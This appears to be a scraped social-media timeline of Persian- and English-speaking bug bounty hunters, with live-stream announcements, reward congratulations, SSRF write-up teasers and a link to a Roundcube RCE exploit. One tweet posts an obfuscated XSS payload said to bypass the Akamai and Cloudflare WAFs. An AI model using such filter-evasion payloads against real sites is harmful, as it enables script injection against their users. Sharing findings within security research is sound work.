Mohammad rasool

🕵️ Bug Hunter in Training 🪲 | Web Security Enthusiast 💻 | Code Breaker🧑‍💻🧩

[Mohammad rasool @MrG2000]

@AtaTurk1925 🔥🔥🔥❤️❤️

[nader abdi @AtaTurk1925]

قسمت دوم لایو، جمعه ساعت ۸ شب شد. باشین که کلی بحث در مورد اتومیشن داریم.

[Mohammad rasool @MrG2000]

@AtaTurk1925 @p__oria ❤️‍🔥🔥🔥🔥

[nader abdi @AtaTurk1925]

لایو امشب ساعت 8 شروع میشه
کسایی که هنوز جوین ندادن میتونن جوین دیسکورد بدن
https://t.co/EM9753q3yF

[nader abdi @AtaTurk1925]

قسمت اول لایو، چهارشنبه ۲۱ آبان ساعت ۸ شب شد. سرفصل های قسمت ۱،۲ هم مشخصه🙏

[nader abdi @AtaTurk1925]

قراره تو یه ایونت، تجربه‌هامون از هانت کردن روی متا(فیسبوک، اینستاگرام،...) و تکنولوژی‌هایی که متا استفاده می‌کنه ابزار های که توسعه داده شده رو باهاتون به اشتراک بذاریم! زمان لایو برا هفته آینده اس تایم دقیق هم خود چنل میذاریم.

📺 سه تا لایو داریم که با @p__oria ❤️ به‌صورت مشترک برگزار می‌شه.
اگه دوست دارین تو لایوها شرکت کنین، فقط کافیه جوین سرور دیسکورد بدین
link:

https://t.co/n8Fr1S6f39

[Programmer Humor @PR0GRAMMERHUM0R]

losingAFewPackets https://t.co/Y8A5a6CFY6

[Mohammad rasool @MrG2000]

@p__oria @AtaTurk1925 🔥🔥🔥

[Poria @p__oria]

I’d rather not say anything about the picture below — it’s better if you see it yourself🤌🏻🤌🏻
@AtaTurk1925 😘😘😘😘😘🫂

[Mohammad rasool @MrG2000]

@p__oria @GoogleVRP @Google @AtaTurk1925 congrats 🔥🔥🔥

[Poria @p__oria]

Today I received the gift sent by Google VRP. Thank you so much for the beautiful hoodies you sent me.
@GoogleVRP & @Google ❤️❤️
@AtaTurk1925 ❤️😘❤️😘❤️

#BugBounty

[Mohammad rasool @MrG2000]

@y0ngyoda @vanellllope @p__oria 😂😂😂

[Mohammad rasool @MrG2000]

@AtaTurk1925 @p__oria قوی تر از همیشه 🔥🔥

[nader abdi @AtaTurk1925]

Back in the game after a long break 🎯

Even without finding a bug, discovering a hidden and undocumented endpoint feels rewarding.

You don’t always need an exploit — sometimes the hunt itself is the real win.

@p__oria 😘😘😘

[Cyber Advising @cyber_advising]

CVE-2025-49113 – Roundcube Webmail RCE Exploit
https://t.co/tR5pyJwGD6

[Mohammad rasool @MrG2000]

@iyedoost @A_Mthri @Snapp_Team مسابقه هرکی بیشتر داشت 😂🤦🏻‍♂️

[Gospel @4osp3l]

SSRF → Internal IP Leak ( 80% it could be it )

Yesterday, after reporting an SSRF vulnerability to Cloudflare, I decided to revisit it to see if I could chain it into something more impactful. Nothing worked, until I started digging into the HTTP callback behavior.

[Radman @eyevorn]

I just found a WAF bypass for Akamai and Cloudflare:
<address onscrollsnapchange=window['ev'+'a'+(['l','b','c'][0])](window['a'+'to'+(['b','c','d'][0])]('YWxlcnQob3JpZ2luKQ==')); style=overflow-y:hidden;scroll-snap-type:x><div style=scroll-snap-align:center>1337</div></address>

[Matin Arjo @skycer_00]

I’ve just shared a new write-up!
A small curiosity turned into a full-blown SSRF — internal access, exposed data, and deep exploration.
Read it here:
https://t.co/MXJGiipWnr

#BugBounty